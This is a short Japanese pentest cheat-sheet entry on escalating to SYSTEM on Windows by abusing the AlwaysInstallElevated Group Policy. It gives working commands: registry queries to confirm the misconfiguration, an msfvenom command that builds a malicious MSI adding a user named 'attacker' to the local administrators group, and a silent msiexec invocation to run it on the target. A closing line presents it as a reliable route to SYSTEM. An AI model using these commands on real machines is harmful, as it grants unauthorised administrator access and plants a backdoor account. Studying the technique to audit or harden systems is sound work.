AlwaysInstallElevated による MSI の SYSTEM 実行
概要
Windows の MSI(Windows Installer)には、グループポリシーで「常に昇格した権限でインストールする(Always install with elevated privileges)」を有効にする設定がある。本来は、一般ユーザーに管理者承認なしでソフトウェアをインストールさせたい場合などに使われる設定だが、これが有効になっていると、一般ユーザーが作成した任意の MSI パッケージが SYSTEM 権限で実行されてしまう。
この設定は HKCU と HKLM の両方に対応するレジストリ値があり、両方が 1 になっている場合にのみ有効になる。片方だけでは成立しない。
手順
- 対象の 2 つのレジストリ値がともに
1になっているか確認する。 - 両方
1であれば、任意のコマンドを実行する MSI パッケージを作成する。 - 作成した MSI を実行する(
msiexec)。SYSTEM 権限でインストーラのアクションが実行される。
コマンド
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
両方が 1 の場合に成立する。
# 悪意ある MSI を生成
msfvenom -p windows/x64/exec CMD='net localgroup administrators attacker /add' -f msi -o evil.msi
:: 標的上で実行
msiexec /quiet /qn /i C:\temp\evil.msi
注意点
- 見つければそのまま SYSTEM 権限につながる「刺さりやすい」パターン。レジストリ値を確認するだけで判定できる。